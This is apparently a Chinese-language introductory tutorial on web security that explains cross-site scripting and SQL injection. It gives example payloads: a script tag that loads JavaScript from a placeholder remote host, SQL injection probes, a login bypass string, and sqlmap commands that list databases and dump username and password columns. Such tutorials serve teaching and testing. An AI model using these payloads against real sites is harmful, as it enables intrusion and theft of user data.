一、前言
-
近几年,伴随互联网的高速发展,对Web安全问题的重视也越来越高。Web应用所面临的威胁来自很多方面,其中黑客的破坏是影响最大的,黑客利用Web应用程序存在的漏洞进行非法入侵,从而破坏Web应用服务,盗取用户数据等,如何防范漏洞带来的安全威胁是一项艰巨的挑战。
-
为了增强用户的交互体验,开发者们在Web应用程序中大量应用客户端脚本,使Web应用的内容与功能变得丰富有趣,然而隐藏的安全威胁随之而来,黑客们将Web攻击的思路从服务器端转向了客户端,利用客户端脚本漏洞的攻击变得越来越强大,如跨站脚本(XSS)和SQL注入成为了众多漏洞中最有针对性的攻击目标。
二、XSS
XSS(Cross Site Scripting
,跨站脚本攻击)是一类特殊的Web客户端脚本注入攻击手段,通常指攻击者通过“HTML注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制浏览器的一种攻击。
当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义,或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动态内容,就会导致存在跨站脚本漏洞。
按照“数据是否保存在服务器”,XSS被分为:反射型XSS和存储型XSS。
反射型XSS:
服务器未对用户请求参数做任何编码或转义处理,直接将参数作为响应的一部分输出到页面中。反射型XSS是一次性的,很容易实施钓鱼攻击,即诱使被攻击者点击某条恶意链接就可触发漏洞。
存储型XSS:
攻击者提供一个恶意负载输入并在后台保存一段时间,一旦用户访问含恶意程序的网页文件便形成有效攻击。富文本输入空间,都有存储型XSS的漏洞隐患,最严重可能导致XSS蠕虫。
1、简单测试脚本检测漏洞(XSS payload
)
将payload作为用户输入参数提交测试,这些payload的目的是闭合html的标签,使浏览器弹窗。若服务器对请求参数没有过滤处理,即直接弹窗,那么包含有恶意代码的响应信息被浏览器直接解析执行,由此触发XSS漏洞,且误报率很低。
当然有些xss漏洞隐藏较深,并不能那么容易检测到,需要构造更加强大的payload绕过一些xss简单过滤。
2、xss攻击过程
在确定可注入的xss漏洞之后,诱使用户加载一个远程脚本,如将url的提交参数改为
“><script src=http://www.xxx.com/ec.js></script>
,攻击者将真正的恶意负载写在这个远程脚本中,避免直接在url的参数里写入大量的js的代码,通过恶意脚本,进而控制用户的浏览器,达到攻击目的。
三、SQL注入
攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
sql注入漏洞检测
1、手动注入
a、在参数中输入一个单引号”’”,引起执行查询语句的语法错误,得到服务器的错误回显,从而判断服务器的数据库类型信息。 根据数据库类型构造sql注入语句。
例如一个get方式的url[ http://www.xxx.com/abc.asp?p=YY ]
修改p的参数值http://www.xxx.com/abc.asp?p=YY and user>0 ,就可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名。
http://www.xxx.com/abc.asp?p=YY&n … db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名 。
b、盲注,大部分时候web服务器关闭了错误回显。
http://www.xxx.com/abc.asp?p=1 and 1=2 sql命令不成立,结果为空或出错 ;
http://www.xxx.com/abc.asp?p=1 and 1=1 sql命令成立,结果正常返回 。
两个测试成功后,可以判断负载的sql被执行,存在sql注入漏洞。
手动注入网站示例。登录密码(‘or’1’=‘1)并成功进入管理后台。
2、自动化工具检测注入
SQLmap–检测与利用SQL注入漏洞的免费开源工具
sqlmap.py –u 【指定url 】 –cookie –dbs //列出数据库
sqlmap.py –u 【指定url 】 - D 【数据库名】- -tables //列出某个库的数据表
sqlmap.py –u 【指定url 】 -D 【数据库名】-T 【数据表名】 –columns //列出数据表的列名
sqlmap.py –u 【指定url 】 -D dvwa -T users-C user,password –dump //把用户名密码列出来(sqlmap自动破解密码)